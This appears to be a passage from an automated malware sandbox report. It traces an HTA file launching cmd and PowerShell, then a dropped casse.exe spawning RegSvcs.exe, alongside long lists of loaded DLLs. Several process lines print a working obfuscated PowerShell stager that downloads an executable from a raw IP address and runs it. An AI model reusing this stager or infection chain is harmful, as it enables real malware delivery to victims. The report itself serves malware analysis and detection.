Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5C97A	7_2_04C5C97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5E918	7_2_04C5E918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5E928	7_2_04C5E928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C52AE0	7_2_04C52AE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C52AF0	7_2_04C52AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5FA88	7_2_04C5FA88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5A261	7_2_04C5A261
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5A270	7_2_04C5A270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5FA78	7_2_04C5FA78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5D22A	7_2_04C5D22A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5D238	7_2_04C5D238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5B3C1	7_2_04C5B3C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5B3D0	7_2_04C5B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C53391	7_2_04C53391
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C533A0	7_2_04C533A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C51B4A	7_2_04C51B4A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5AB10	7_2_04C5AB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5AB20	7_2_04C5AB20

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: String function: 00B60AE3 appears 70 times
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: String function: 00B47DE1 appears 35 times
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: String function: 00B68900 appears 42 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 6.2.casse.exe.3bb0000.1.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.casse.exe.3bb0000.1.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B981CB AdjustTokenPrivileges,CloseHandle,		6_2_00B981CB
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B987E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_00B987E1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3036:120:WilError_03

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\niceworkingskillwithbestideasevermade.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES40A0.tmp" "c:\Users\user\AppData\Local\Temp\rc1uxl4b\CSC86B1AEBB56F14E089D24D1744B11DAAD.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\casse.exe "C:\Users\user\AppData\Roaming\casse.exe"
Source: C:\Users\user\AppData\Roaming\casse.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\casse.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\casse.exe "C:\Users\user\AppData\Roaming\casse.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES40A0.tmp" "c:\Users\user\AppData\Local\Temp\rc1uxl4b\CSC86B1AEBB56F14E089D24D1744B11DAAD.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\casse.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: wininet.dll	Jump to behavior
